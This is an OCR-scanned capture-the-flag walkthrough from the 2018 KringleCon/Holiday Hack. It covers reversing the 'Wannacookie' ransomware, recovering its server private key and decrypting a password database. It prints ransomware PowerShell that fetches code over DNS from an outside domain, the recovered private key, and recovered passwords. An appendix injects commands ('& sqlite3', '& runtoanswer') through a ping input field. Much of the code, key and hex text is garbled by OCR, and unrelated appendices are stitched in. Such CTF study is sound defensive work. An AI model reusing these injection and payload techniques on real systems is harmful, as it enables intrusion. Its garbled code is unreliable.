Now that we don't have to worry about new infections, |
could sure use your L337 security skills for one last thing.

As | mentioned, | made the mistake of analyzing the
malware on my host computer and the ransomware
encrypted my password database.

Take this  with a memory dump and my encrypted
password database, and see if you can recover my
passwords.

New [Hint] Unlocked: Public / Private Key Encryption!
Click here to see this item in your badge.

Alabaster provided us with a memory dump of his computer and his password database
that got encrypted. He wants us to know if we can reverse engineer WANNACOKIE and
recover his database. To aid us with this task he also provided us with details about
Memory Strings using power_dump. (19) He also wants to know if there is a non-minified
version of the source code. Given that the code is called wannacookie.min.ps1 maybe if use
just wannacookie.ps1 we can get the non-mini version.

(L) 7 {5 1 forEach {[char]( convert tointle(5_.16))]

3

4 "7 7616EGEG1636FEFABEIRS2ETO73I31";

5 o

[ foreach (%51 in 0..([convert ToInt32({(Resolve-DnsName -Serwver erchetfanu.com
7 ih (Resolve-DnsName -Server erchetfanu.com -Name "34i.3%f.erohetfanu.com”
8 H

9 (S(H2A 3h Out-stringl) Qut-File wannacookie.psl

¥
function wannacookie {
$51 = "1f8bDE0000000D00040093e76762129765e2ele664076361e7e202000cdd5 510000000
if ($null -ne ((Resolve-DnsName -Mame $(H2A $(B2H $(ti_rox $(B2H 3(G2B $(HZE $51))) %
).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return}
if ($(netstat -ano | Select-5tring "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject
$pub_key = [System.Convert]::FromBasee45tring($(get_over_dns("7365727665722E637274™)
$Byte_key = ([System.Text.Encoding]: :Unicode.GetBytes(§$(({[char[]1]([char]0l.. [char]2s5y
$Hex_key = $(B2H $Byte_key)
$Key_Hash = $(Shal $Hex_key)
$Pub_key_encrypted_Key = (Pub_Key_Enc $Byte key $pub_key).ToString()
fcookie_id = (send_key 3Pub_key_encrypted_Key)
fdate_time = (($(Get-Date).ToUniversalTime() | Out-5tring) -replace ""r’'n")
[array] $future coockies = $(Get-ChildItem *.elfdb -Exclude *=.wannacookie -Path $($(%e
ofile+"\Pictures"),$($env:userprofile+ ' \Music’)) -Recurse | where { ! $_.PSIsContainer }
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It worked! Now we have a more human readable code. Let us see how it initializes and
encrypt files.

function wannacookie {
"1 8b0E0000000000040093e76762129765e2eledb40f6361e7e202000cdd5 c5c10000000™
it ( {(Resolve-Dns=Name -MName $(H2A S(BZH f(ti_rox %(B2H 5({G2B S{Hz2B I S[P
it (f({netstat -ano Sc1ect String "127.0.0.1:8080"). Tength 0 (Get-Wmi0bj ect W1
System. Cony FrDmBaseE4String{S(get_DVEl dn=( TEGS.E.CESFEZEESTZ"’ 1]
([ System. Text. E coding Unicode. GetBytes (3({( c ([char]01 char]255)
S(B:ﬂ )|
£(sha 3
(Pub_Keyv_Enc ). ToString ()
(send_key )
((3(Get-Date). ToUniversalTime() out-5tring) "r'a™)
array $(Get-ChildItem =.elfdb -Exclude *.wannacookie -Path 5{3(
enc_dec

Clear-variable -Mame "Hex_key"
Clear-variable -Name "Byte_key"

It starts with a variable that has a constant hex value. Then it looks for the killswitch and
checks if there is a localhost connection to port 8080. The next part is the first interesting
section, the variable pub_key. It looks like it stands for public key and gets a Base64 string
from a function similar when we got wannacookie.ps1. This time it is a hexadecimal value
of: 7365727665722E637274.

PS D> H2A 7

server.crt
Interesting... it is a file called server.crt! Let us dump that to a file and see what it contains.

[DBG] : P5 C:“Python27%power_dump=> get_over_dns{"7365727665722E637274")
MITDXTCCAkWgAwIBAgI JAPGel Yow?sC JMADGC50GSIbID)EBCWUAME UxC zATBgNy
BAYTAKFYMREMWEQYDVOOQIDAPTh21 1 LVNOYXR IMSEwHWYDVQQKDEh JbnR 1 cms 1dCEX
aWRnaXkzIFBDeSEMdGOwHhcMMT gwlDAZMTUwWM TAIWhCNM ThkwODAZMTUWMTASW I BF
MO swCQYDVOOGEwWIBVTETMBEEGAL UEC AwKUZ 9t 7 51 TdGFOZ TEhMB BGALUEC gwy SW5 0
ZXJuZXQgVv21kZ210cyBQdHkgTHRKMIIEI jANEgkqhki GOwDBAQEFAADCAQEAMIIE
CgHCAQEAXT Jc2VVG1wmzB1+LDN] LYpUelLHhGZ Yt gjKavedshepfrugclSvoul+55
vy lkgOrrx,/pZh4yXgfbolt77x2AqvIGuURIYwa? 8EMtHtgg,/6nj0a3TLULPSpMTC
OMSHOSWF 7 7VgDRSReQPj aoyPo3TFbS,/P71Th1 qdTwPAO TudvvX15K] 2z080nxYQE
hpRxFPnB9AkEGIEgeR5 NEKZz1C11VXNI7TA/P7 et U40Qs061 pEcBvL 6nEAOAE TUHA
ZWCTEBBEbOP ThwlLd1sY1k7tx5wHzD7 Ih15P8tdksBzgrW ] YxUFfBr eddg+4nRVvVukKeb
E9Jg6zImCFuBelXjCIKB0LZPOWZWDQIDAQABOLAWT JAdBgNVHOAEFgQUF eDgZ 4F+
kxU1 BN,/ PpHRuzBY zdEwHwY VR0 BBgwFoAUT eQgZ 4T +kxU1 /BN /PpHRuZzBY zdEw
DAYDVROTEAUWAWEE / zANEgkghki GOwOBAQ s FAADC AQEAhdhDHOWWSO+Fromk7n2G
2eXkTNX1bxz2PS2Q17W3937 83aBRWRVDKL /qGCAT 9AHg+NB /FOWMZ Fuul g=z1i JQTH
05+vwiCn3bi1HCwz9w7 PFesCF egai vbaRDOh7VIRHWVT zCG5ddUEGEH3j8g7thrKo
xOmEwvH1 f0ar+0sscB1deDGgllhoTn74I+gHjRherRvOQWlb4 AbTdrdkUnAsdxs=s17
MTxMOF4t4cdwWHyelUH3vBuTEeuTd9rn7GONT 61HiChXjEfza8hpBCA0urCKcFOQiv
oY /OBxXdxgTyagwhadwmvNr HPoQwBSQ9XwgM, /WMt r 1PZ Fw3AWIuGFJ /sglv4 2xcF
e

If the is a real server.crt we should be able to view the contents using an online certificate
decoder. (20) In addition, we know that the malware is currently using AES for encryption.
So, if it encrypts the file with public key we will need the private key of the server. We
should also consider looking for a server.key.
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Certificate Information

Organization

State: Some-5tate

o
[=
T

Valid From: August

TR

Serial Number: 183

: P5 C:ZPython27h power_dump== get_over_dns({"7365727665722E6B6579")

BEGIN PRIVATE KEY
MITEwgIBADANBgkqhkiGOwOBAQEFAASCBKgwggSkAGEAADIBAQDE I NzZVUbBXCEMG
L4sM2Ut1 1R4seEZ 11 2CMoD]7 3gHg 1+t 5pwtkK9yv4L 6znl DLWSAGUvH+ TmHhhep9ui
W3vwHYCg+MaSE 1 jBrvwly0e?Cr fgeNBr ditQs 9Kk IAZz0TR I Y XvEWANF JF5 A+Ng
7 I+ 3dMVEL B+PVOGWpl PABDSWT 1+%el kgPbNDxCTFhAGGTHEU+cHOC Tob0OSBES Hk0S
TPUKKIVC3F=DE /60y ThCwAGKRWGSvqcOC gAGVQel NY IMEFv0-+WHAL 2w jWTu3
HnAfMPs1Enk,/v125wHOCtaNjFREGES12D7 1dFVIWS pS s TOmrrM1 Y 1+7 xevVeM Lkrws
tk/17 1 YNAGMBAAEC ggEAHA TG JOX5 B j BqPudkZ156up1Yan+RHoZ dDz6bAEj4Eyc
0DW4a0+IdRaDomM,/SaB09GWLL Tt 0dyhREX 1+ 1G] bEvDGZHFRA4TMOONHGAVL gaw
OTTHgb9HPu] 7 8ImDBC EFaZ HDuThdu1b0sr4RLWIScLbIbS 87 5 p4AtZvpFcPL1fN
6Y05,/ w01 SVEFROWu 1dMbE IN1x+xel IpBuls5 Kol 9KHINJZ cEgZVOplLXzrsjKre7U
InYMKDemGjHanYVkFlpzv,/rardUn5s8h6gelGyzVY¥1PpLEZ I0L Y+t GopKmuTUZV0m
V75 15LMwEss1g3x8g0h2150p=9Y9zh 5T JhzBkt YAQKBgQD 1 +w+KfSb3gZREVv=9
uGmalcjeNzdzr+7EBOWZumjysWWPr Sel56l d4 1 TcFdaXol1UEHKEDED] THEM+dKG2
Emz3zalNi1AIXE9Ucve ]l rXTVODk+kMYItvHWchdi HE4EDjsWrcBco9WNgK1X1LOtG
A41BpErvctb0c]11zvlzXgUivTQKBgODaxRoQo 1 zajE1DG,/T3VsC 81306 datRpXE
OURME /4MB /vRAL BLBEE347Khn5SNyzgh9NS G2/ TAB2g] J+4RY TUMOVIhK+8t 863498
/PAsKENTPQi04Ld31FnT92xpZULhYFyRPQ29rcim2c17 3KDMP cD6gXTezDCalh64q
81 skC41 SwOKBgQCwwq3F40HygNESYVR ITmRhryUI 1B 14 +gP5 FySHhqy94okwer E
KcHw3ValvMal17Atk4mlal +v3Fh010H5gh9] 5w tRDKFZ 74 1V0Ka4(QNHogtnCsc4
eP1RgCES z0wlefvwrybHIpXwrNTNSEJ1 7t¥mbkBaz cdIws GsqQKeNs6qBSOKEgHLY
=C9De5+DIGqgrN,/ Otr 9tWk 1 hwBvxas Xkt DRVZFP7XAQroe6HOes nmpSxTef gv ] tVx
moC JympCYgT,/WExTS0XUgJ0d0ouMF11cbFH2re1ZYoK6P1gCF TRl TyLrY7 /nmBKKy
DsuzrLkhUs0xXnZHC JvG1y4 BV 1w XTDY INLUS K7 JBA0GEAMMx T o7 + 90t NE8hWxnge4
TeDRAGOWKBEVZPQ7mMEDeRCS hRhFCjn9whG+2+/7dG1Ki0TC 3003wz 80064 vS5 xAgXE
JKEn97 2KvD0els ni YehGdyBaImHH+hE&NVE 1FdDG] 5Vhzab Jyolk+KnOnvvybrGEqg
Udrz2XvswyFuuIgB ] kHnWsIel

END PRIVATE KEY-————

Excellent! We got ourselves a private key!!!
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([System.Text.Encoding Unicode. GetBytes (3({( char ([char]ol cha
1(E2H )
$(shal )|
(Pub_Key_Enc J.TaString()
(send_key )
((3(Get-Date). ToUniversalTime() | Out-5trinag) "r'n")
arra $(Get-Ch1ldItem *.elfdb -Exclude =.wannacookie -Path £(
enc_dec
Clear-variable -Mame "Hex_key"
Clear-variable -Name "Bvte_kev”
"http://127.0.0.1:8080/"

ef

Next up the code generates a 32-byte sized random key and creates a sha1 version of the
key in hex. Then the byte_key is encrypted using the public key of the sever and is stored in
a 5712-bytesized Pub_key_encrypted_Key (public key encrypted key). Then it sends the key to
the server to get stored. An array then gets the target files and enc_dec which begins the
encryption. The random key is then cleared from memory and the listener starts with the
WANNACOOKIE message.

So, with Alabaster's memory dump we are unable to look for a 32-bytekey since it has been
cleared by the malware. Mathematically and with AES in mind, if the 572-byte encrypted key
is the product of the public key and the random 32-byte key. Then logically we should get it
back with the use of a private key. Where E() is for encryption and D() is for decryption.

EncrypledKey = E(PublicKey x RandomKey)
therefore
RandomKey = D(EncrypfedKey / PrivarteKey)

To prove this let us get both our server.crt and server.keyto generate a server certificate
with the private key that we can load in Windows and powershellusing OpenSSL.

PS D:\OpenSsL> .\openssl.exe pkcsl2 -export -out server.pfx -inkey server.key -in server.crt
Enter Export Password:

Verifying - Enter Export Password:

PS D:\OpenSSL> dir

Directory: D:\OpenSSL

LastWriteTime Length Name

11/21/2818 =¥ 376 openssl.exe
1/7/2819 12:] 1248 server.crt
1/7/2819 12:19 1738 server.key
1/7/2812 12:23 2469 server.pfx
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¥ Certificates - Local Computer A || |ssued To - lssued By
¥ Per:cna.l : Internet Widgits Pty Ltd Internet Widgits Pty Ltd
Certificates
Trusted Root Certification @i Certificate X

Enterprise Trust

Intermediate Certification General Detals  Certification Path

Trusted Publishers

. Show:

Untrusted Certificates ow: | <Al> -
Third-Party Reot Certifica _ "
Trusted People Field Value
Client Authentication lssu Subject Internet Widgits Pty Ltd, Som...
Preview Build Roots Public key R5A (2048 Bits)
AAD Token lssuer Public key parameters 0500
eSIM Certification Authori (& Subject Key Identifier 7de3a06787fe931535fc137f3...
Homegroup Machine Cer (& Authority Key Identifier KeyID=7de3a06 78 7fe931535f...

v

Remate Deskto (&1 Basic Constraints Subject Type=CA, Path Lengt...
o sKrop Thumbprint bid1e73dchffbd45ah341a6es. .
Certificate Enrolment Req v
Cemart Fard Trictard Bante

o N

Good. We managed to load the certificate with the private keyin Windows. But now we will
need to import in powershell.

[DBG] : PS5 C:%\Python27\power_dumps=> $mycert=get-Item Cert:\CurrentUser\My\bldle73dcbffbd458b34latesaed3549a81077d6

[DBG] : PS5 C:%\Python27\power_dump:=> f$pscert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2Collection $mycert;

[DBG] : P5 C:%Python27\power_dump:=> $pscert

PSParentPath: Microsoft.PowerShell.Securityh\Certificate: :CurrentUseriMy
Thumbprint Subject

B1D1E73DCBFFBD45 8B341A6EBAED3549A81077D6 O=Internet Widgits Pty Ltd, S=Some-State, C=AU

Great we got the certificate loaded in powershellthat matches the thumbprint from the
certificate manager. But we still need the 572-byte encrypted key. Time to use power_dump
to skim through Alabaster's memory.

[1] 18947 powershell Variable Values found!

That is a lot to look at. We know that the length is 572 bytes that they are all hexadecimal.
Let us use the filter to narrow our search down.

Filters
S bool{re.search(r
LENGTH len{wvariable value

a05680d531b7a971672d87b24b7a6d672d1d811e6c34142b2f8d7f2b43aab698b537d2df2f401c2a09fbe?2
4c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e693
09a2bbl7dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257
d977722188a946¢c75a295e714b668109d75c00100b94861678eal6f8b79b756e45776d29268at1720bc499
95217d814ffdle4bbedce9ee5797619ab39819a8479cf911d7d47681a77152563906a2c29c6d12f971

Challenge 2018 - bytenibbler . @

COUNTER

MALIK




With the value we got from power_dump we should get a 32-byte key when we use the
PrivateKey.Decrypt function.
[DBG]: PS5 C:\Python27\power_dump>> $tempbyte = H2B "3cf903522e1a3966805b50e7f7dd51dc7969c73cfbl663a75

[DEG] : PS5 C:ZPython27%power_dump=> B2ZH $pscert.PrivateKey.Decrypt($tempbyte, S$true)
fhcfcl121915d99cc20a3d3d5d84T8308
. _______________________________________________________]

fbcfe121915d99cc20a3d3d 508418308 Excellent! Exactly 32 bytes. Now let us try to use that
key to decrypt alabaster_password.elfdb.wannacookie.

: PS C:\Python27\power_dump>> $akey = "fhcfcl21915d99cc20a3d3d5d84F8308™

: PS C:\Python27\power_dump>> fakey = $(H2B $akey)

: PS C:\Python27\power_dump>> [array]$allcookies = $({Get-ChildItem -Path "D:\Alabaster” -Recurse -Filter =.wannacookie

: PS C:\Python27\power_dump>> enc_dec $akey $allcookies $false

Name P5JobTypeName State HasMoreData Location

Jobl BackgroundJob  Running Tocalhost

[DBG]: PS5 D:“Alabaster>= cat .%alabaster_passwords.elfdb
SQLite format 3000& OO0

Sweet it got decrypted and it looks like it is in SQLite 3 format.

D:\Alabaster»sglitel.exe

SQLite version 3.26.8 2018-12-81 12:34:55

Enter ".help" for usage hints.

Connected to a

Use ".open FILEMAME" to reopen on a per515tent database.

sgqlite> .open alabaster passwords.elfdb

sglite» select * from passwords;

alabaster.snowball |CookiesRBcK!2!#|active directory
alabasterfkringlecastle.com|KeepYourEnemiesClosel142S |www. toysrus. com
alab35terwkr1ng19La5tle L0m|LnnP1&5RLy+e'"2b|net+11H com
alabaster.snowball

alabaster.snowball |E

alabasterfgkringlecas . 513 | neopets.com
alaba5ter@?r1ng19La5tle L0m|¥ayImALnder1WZb|www codecademy . com
alabasterfkringlecastle.com|Woootz4Cookies19273 |www.4chan.org
alabasterf@kringlecastle.com|ChristMasRox19283 |www.reddit.com

sglite»
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It Is Not Over Just Yet... Really, it's Mozart
And it should be in
the key of D, not E.
Check out Appendix
G for Transposing
Music.

Now that’s a good tune!

But the key isn’t quite right...

New [Hint] Unlocked: Rachmaninoffl
Click here to see this item in your badge.

Alabasterwith his weird antics... His vault password s actually one note lowerthan what we
got from his password database. Transposing it the key of D would make his password be:

New [Achievement] Unlocked: Santa's Vaultl
New [Achievement] Unlocked: Piano Lock!
New [Achievement] Unlocked: Ransomware Recoveryl
Click here to see this item in your badge.

New [Narrative] Unlocked: |
Click here to see this item in your badge.

Note: Double unlock! See Appendix A for full Narrative

This guide focused on Windows for
decrypting the file but you can also

use Python for AES Encryptions and
Decryption. (21)
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Objective 70. Who Is Behind It All?
Difficulty:*i\(i\(*i\(

Who was the mastermind behind the whole KringleCon plan? And, in your
please explain that plan.

Answer: S 3 /7 ZL 3

You DID IT! You completed the hardest challenge.

You see, Hans and the soldiers work for ME. | had to test
you. And you passed the test!

You WON! Won what, you ask? Well, the jackpot, my dear!
The grand and glorious jackpot!

You see, / finally found you!
/ came up with the idea of KringleCon to find someone like
you who could help me defend the North Pole against even
the craftiest attackers.

That's why we had so many different challenges this year.

We needed to find someone with skills all across the
spectrum.

| asked my friend Hans to play the role of the bad guy to see

if you could solve all those challenges and thwart the plot we
devised.

And you did!

o
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Aa cp ey eldays,

COUNTER

® HACK

Based on your victory... next year,
we're going to ask for your help in
defending my whole operation from
evil bad guys.
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Appendix A — The Full Narrative

As you walk through the gates, a familiar red-suited holiday
figure warmly welcomes all of his special visitors to
KringleCon.

Suddenly, all elves in the castle start looking very nervous.
You can overhear some of them talking with worry in their
voices.

The toy soldiers, who were always gruff, now seem especially
determined as they lock all the exterior entrances to the
building and barricade all the doors. No one can get out! And
the toy soldiers' grunts take on an increasingly sinister
tone.

The toy soldiers act even more aggressively. They are
searching for something -- something very special inside of
Santa’s castle -- and they will stop at NOTHING until they

find it. Hans seems to be directing their activities.

In the main lobby on the bottom floor of Santa's castle, Hans
calls everyone around to deliver a speech. Make sure you
visit Hans to hear his speech.

The toy soldiers continue behaving very rudely, grunting
orders to the guests and to each other in vaguely Germanic
phrases. Suddenly, one of the toy soldiers appears wearing a
grey sweatshirt that has written on it in red pen, "NOW I
HAVE A ZERO-DAY. HO-HO-HO."

A rumor spreads among the elves that Alabaster has lost his
badge. Several elves say, "What do you think someone could do
with that?"

Hans has started monologuing again. Please visit him in
Santa's lobby for a status update.

Great work! You have blocked access to Santa's treasure...
for now. Please visit Hans in Santa's Secret Room for an
update.

And then suddenly, Hans slips and falls into a snowbank. His
nefarious plan thwarted, he's now just cold and wet.

But Santa still has more questions for you to solve!

Congrats! You have solved the hardest challenge! Please visit
Santa and Hans inside Santa's Secret Room for an update on
your amazing accomplishment!
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Appendix B — The Name Game AlternaTip

This AlternaTip skips both looking for the hidden menu and dumping the database to a text
file. This solution focuses on the call operatorto execute commands, thus making option
‘2”as a bash or Powershell prompt.

Enter “& sqglite3”and then load the onboard.db

alidating data store for employee onboard information.

Enter address of server: & sglite3

SQLite version 3.11.8 2816-82-15 17:29:24

Enter "_.help”™ for usage hints.

Connected to a transient in-memory database.

Use ".open FILENAME™ to reopen on a persistent database.

sqlite> Usage: ping [-aAbBdDfhLnOgrRUwWW] [-c count] [-i interval] [-I interface]
[-m mark] [-M pmtudisc option] [-1 preload] [-p pattern] [-Q tos]
[-5 packetsize] [-S sndbuf] [-t ttl] [-T timestamp option]
[-w deadline] [-W timeout] [hopl ...] destination

sqlite> .open onboard.db

sqlite> .schema

CREATE TAELE onboard (
id INTEGER PRIMARY KEY,
fname TEXT NOT NULL,
Iname TEXT NOT NULL,
streetl TEXT,
street?2 TEXT,
city TEXT,
postalcode TEXT,
phone TEXT,
email TEXT

Type “schema”to display the fields of the database.

Now write a simple SQL query to look for “Mr. Chan”.

sqlite> select * from onboard where lname="Chan";
84 |Scott|Chan|48 Colorado Way||Los Angeles|98867|4817533589 |scotimchan98867@gmail . com

sqlite>

Same results from the main Walkthrough, we see that Mr. Chan's first name is Scott. Exit
SQLite 3 by hitting “CTRL+D” You will end up back on the main menu.
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Once back on the main menu. Select option 2 again but this time enter ‘& runtoanswer”

alidating data store for employee onboard information.

Enter address of server: & runtoanswer

sage: ping [-aAbBdDfhLnOgrRUWW] [-c count] [-1 interval] [-I interface]
[-m mark] [-M pmtudisc option] [-1 preload] [-p pattern] [-Q tos]
[-5 packetsize] [-5 sndbuf] [-t ttl] [-T timestamp option]
[-w deadline] [-W timeout] [hopl ...] destination

Loading, please wait

Enter Mr. Chan's first name: Scott

OMMMMMMMMMMMMO  OMMUWXXAMMT TNMMNAWK

OMMMMMMMMMMMM.. L cOWMN. " MMMMMMM ;

oMMMMMMMMMMMMMMEKD , KN, MMMMMMM,

OMMMMMMMMMMMMEENMMMO oM, dWMMWOWK 5 = -
OMMMMMMMMMMMMC ... clMWl. .. JNMk. .. .OMMMMM. .MMMMMMM, . MMMMMMMPMMMMMMMM
300CO0000COOCOMHK O 82000000 Bk ki X0OO0K Olad KOO0OOOKOICOO0OOOK0aX000000CO00000NK

ongratulations!

onboard.db: SQLite 3.x database
Press Enter to continue...:

Challenge 2018 - bytenibbler e

CUWUJINITE



Appendix C — Nevermore poem.txt

o1 f@1322c73d83b5 1~/ _secrets/her$ cat poem.txt

Once upon a sleigh so weary, Morcel scrubbed the grime so dreary,

Shining many a beautiful sleighbell bearing cheer and sound so pure--
There he cleaned them, nearly napping, suddenly there came a tapping,

As of someone gently rapping, rapping at the sleigh house door.

"'Tis some caroler,”™ he muttered, "tapping at my sleigh house door--
Only this and nothing more.™

en, continued with more vigor, came the sound he didn't figure,
ould belong to one so lovely, walking 'bout the North Pole grounds.
But the truth is, she WAS knocking, 'cause with him she would be talking,
with fingers interlocking, strolling out with love newfound?
azing into eyes so deeply, caring not who sees their rounds.
Oh, "“twould make his heart resound!

rried, he, to greet the maiden, dropping rag and brush - unlaiden.
Floating over, more than walking, moving toward the sound still knocking,

Pausing at the elf-length mirror, checked himself to study clearer,
Fixing hair and looking nearer, what a hunky elf - not shocking!

Peering through the peephole smiling, reaching forward and unlocking:
NEVERMORE in tinsel stocking!

reeting her with smile dashing, pearly-white incisors flashing,

elling jokes to keep her laughing, soaring high upon the tidings,
Of good fortune fates had borne him. Offered her his dexter forelimb,

ever was his future less dim! Should he now consider gliding--
o - they shouldn't but consider taking flight in sleigh and riding
Up above the Pole abiding?

cmile, she did, when he suggested that their future surely rested,
p in flight above their cohort flying high like ne'er before!
50 he harnessed two young reindeer, bold and fresh and bearing no fear.
In they jumped and seated so near, off they flew - broke through the door!
p and up climbed team and humor, Morcel being so adored,
By his lovely NEVERMORE!

-Morcel Nougat
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Appendix E — Funny Bash History

Theme: Must love Meat, Power of 2, Star Wars, Palindromes and "\_(*V)_/~

o 1f@7bbf31263d89:~% cat .bash_history

netstat -ant

ncat --broker -nlvp 9098

echo "\382\257\_(\343\283\284)_/\382\257" >> /tmp/shruggins
at ftmp/shruggins

url --http2-prior-knowledge http://localhost:808@/index.php
elnet towel.blinkenlights.nl

iglet I am your father
echo "goHangasalAmIimalaSAgnaHoG" | rewv $ aptitude moo
There are no Easter Eggs in this program.
$ aptitude -v moo
There really are no Easter Eggs in this program.
$ aptitude -vv moo
Didn't I already tell you that there are no Easter Eggs in this program?
$ aptitude -wvv moo
Stop it!
$ aptitude -wvvv moo
Okay, okay, if I give you an Easter Egg, will you go away?
$ aptitude -wwvvv moo
ALl right, you win.

21f@7bbf31a63d89: ~$

$ aptitude -wvvvvvy moo
What is it? It's an elephant being eaten by a snake, of course.

- ) fortune | cowsay | lolcat

Go HANG ( ‘;o: are capable of planning your \
A SALAMI .

I'MA
LASAGNA (N JAVAY

o6 )

And don’t let me catch
g:u following me
gging for help.
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New Search Save As ¥ Close
ubStatus
« 212 events (before 1/3/19 2:07:08.000 AM)  No Event Sampling = 8 Verbose Mode v

Events (212) Patterns Statistics (212) Visualization

20 Per Page v # Format Preview = < Pren E 2 3 4 5 5] 7 8 - MNext >

Event ID 5 .~ LogonType 5 TargetUser DomainMame % Workstation # IPAddress = s Status * s SubStatus &
wunorse,openslae EM.KRINGLECON WIN-KCON-EXCH16 172.31.254.181 @xceeoeasd BxcOeeaeca
vinod. kumar EM.KRINGLECON WIM-KCON-EXCH16 172 254,181 BxcOoeeesd GxcOpEeRE4
vijay. kumar EM.KRINGLECON WIN-KCON-EXCH16 2. 181 @xcopoeasd @xcopeeosd
tyler.smith EM.KRINGLECON WIN-KCON-EXCH16 254.1@1 Bxchaaaaed Gxchooaosd
tom.smith EM.KRINGLECON WIM-KCON-EXCH16 2 254,181 BxcOoeeas6d GxcOpEeRE4
tim.smith EM.KRINGLECON WIN-KCON-EXCH16 : 254, Bxcoaeeaed GxcOpoeosd
suresh. kumar EM.KRINGLECON WIN-KCON-EXCH16 2. . BxcoOBe86d Bxcoooon6d
sunil. kumar EM.KRINGLECON WIN-KCON-EXCH16 : 254, Bxceeeeaed Gxcopeencd
sugerplum.mary EM.KRINGLECON WIN-KCON-EXCH16 2 254, Gxcopoeasd Gx¥cOBEe6a
steven.smith EM.KRINGLECON WIN-KCON-EXCH16 254, Bxcoaaaasd @xcABeeosd
steve.smith EM.KRINGLECON WIN-KCON-EXCH16 2 254, Bxceeaeaed Gxcopeencd
steve. johnson EM.KRINGLECON WIN-KCON-EXCH16 254, BxcOoeee6d BxcOBEeRE4

stephanie.smith .KRINGLECON WIN-KCON-EXCH16 2 254, Bxcoaaeaed BxchooRRE4
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ourcetype=data 46:

+ B events (before /219 7:43:41.000 PM) Mo Event Sampling =

Events (8) Patterns Statistics (8) Visualization

20 PerPage = # Format Preview =

Event ID ¢ ~ LogonType + TargetlUser =
wunorse.openslae
sugerplum.mary
sparkle.redberry
shinny.upatree
pepper.minstix
holly.evergreen

bushy.evergreen

sparkle. redberry

New Search

inde; ! index=+* sourcetype=data 4624 AND 172.31.254.101] table Event_ID, LogonType, TargetUser, DomainName, Wor

onProcess

v 2 events (before 1/3/19 2:13:37.000 AM)  No Event Sampling v

Events (2) Patterns Statistics (2) Visualization

20 Per Page v # Format Preview

Event_ID ¢ ~ LogonType =~ TargetUser =
minty.candycane

minty.candycane

Holiday Hack

) »

DomainName =

EM.KRINGLECON

EM.KRIMGLECON

EM.KRINGLECON

EM.KRIMGLECON

KRIMGLECON

. KRINGLECOM

KRIMGLECON

.KRINGLECON

DomainName ¢

EM. KRINGLECON

EM. KRINGLECON

Workstation =

WIN-KCON-EXCH16

WIN-KCON-EXCH16

WIN-KCON-EXCH16

WIN-KCON-EXCH16

WIN-KCON-EXCH16

WIN-KCON-EXCH16

WIN-KCON-EXCH18

WIN-KCON-EXCH16

Workstation

WIN-KCON-EXCH16

WIN-KCON-EXCH16

AND SubStatus=0xc@eeea6a |table Event_ID, LogonType, TargetUser, DomainName, Workstation, IPAddress,

IPAddress +

172.

tation, IPAddre

Save As v Close

All time »

8 Verbose Mode »

Status = SubStatus =

Bxcoasaasd Gxcheaaaca
Bxcoooea6d GxcOaaaasa
Bxcoasaasd @xcoaaaca
Bxco00086d BxcOaaaasa
Bxco00086d GxcO00006a
Bxco00086d GxcOAaaa6a
Bxcoo0easd @xcO00006a

Bxcoaaaasd @xcApaaaca

Save As v Close

All time »

8 Verbose Mode v

IPAddress = LogonProcess &

172.31.254.181 Advapi

172.31.254.1@1 Advapi
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A piano keyboard gives us easy access to every (westem) tone. As we go from left to right, the
pitches get higher. Pressing the middle A, for example, would give us a tone of 440 Hertz.
Pressing the next A up (to the right) gives us 880 Hz, while the next one down (left) produces
220 Hz. These A tones each sound very similar to us - just higher and lower. Each Ais an
“octave” apart from the next. Going key by key, we count 12 “half tone” steps between one A
and the next - 12 steps in an octave.

As you may have guessed, elf (and human) ears perceive pitches logarithmically. That is, the
frequency jump between octaves doubles as we go up the keyboard, and that sounds normal to
us. Consequently, the precise frequency of each note other than A can only be cleanly
expressed with a log base 12 expression. Ugh! For our purposes though, we can think of note
separation in terms of whole and half steps.

Have you noticed the black keys on the keyboard? They represent half steps between the white
keys. For example, the black key between C and D is called C# (c-sharp) or Db (d-flat). Going
from C to D is a whole step, but either is a half step from C#/Db. Some white keys don’t have
black ones between them. B & C and E & F are each only a half step apart. Why? Well, it
tumns out that our ears like it that way. Try this: press C D EF G AB C on a piano. It sounds
natural, right? The “C major” scale you just played matches every other major scale:

whole step from C to D

whole step from D to E

half step from E to F

whole step from F to G

Whole step from G to A

Whole step from A to B, and finally

Half step from B to C

If you follow that same pattern (whole whole half whole whole whole half), you can start from
any note on the keyboard and play a major scale. So a Bb major scale would be Bb CD Eb F
G ABb. You can get this by counting whole and half steps up from Bb or by taking each note in
the C major scale and going down a whole step.

This uniform shifting of tones is called transposition. This is done all the time in music because
of differences in how instruments are designed, the sound an arranger wants to achieve, or the
comfortable vocal range of a singer. Some elves can do this on the fly without really thinking,
but it can always be done manually, looking at a piano keyboard.

To look at it another way, consider a song “written in the key of Bb." If the musicians don't ike
that key, it can be transposed to A with a little thought. First, how far apart are Bb and A?
Looking at our piano, we see they are a half step apart. OK, so for each note, we'll move down
one half step. Here's an original in Bb:
DCBbCDDDCCCDFFDCBbCDDDDCCDCBb

And take everything down one half step for A:
C#BABC#C#C#BBBCHEEC#BABC#C#C#C#BBC#BA

We've just taken Mary Had a Little Lamb from Bb to Al

VAN

96



X H — DOC/ZIP AlternaTip

ere are times that you may not have access to a sandbox environment and
on what is in front of you. If this happens, just imply rename the Word
p file to look for malicious scripts/code.

Rename

CHOCOLATE
_CHIP_COOK
I[E_RECIPE.do
crm

I If you change a filename extension, the file might become unusable,

Are you sure you want to change it?

and browse through its contents.
B CHOCOLATE_CHIP_COOKIE_RECIPE.zip - WinRAR (evaluation copy) - O X
File Commands Tools Favorites Options Help

AR LW D & 4 ¢

Add  ExtractTo  Test View Delete Find Wizard Info VirusScan Comment  S5FX

E ‘g CHOCOLATE_CHIP_COOKIE_RECIPEzipword - ZIP archive, unpacked size 154,326 bytes ~
Name V Size Packed Type Medified CRC32
Local Disk
theme File folder
= - " media File folder
B View - vbaProject.bi i - O X
_rels File folder
. - - ﬁ webSettings.xml 260 187 XML Document 1/1/198012:00 ... 928ADE4A
File Edit View HEIF (8] vbaproject bin 4,537 BIN File 1/1/1980 12:00 ... E9F15FC7

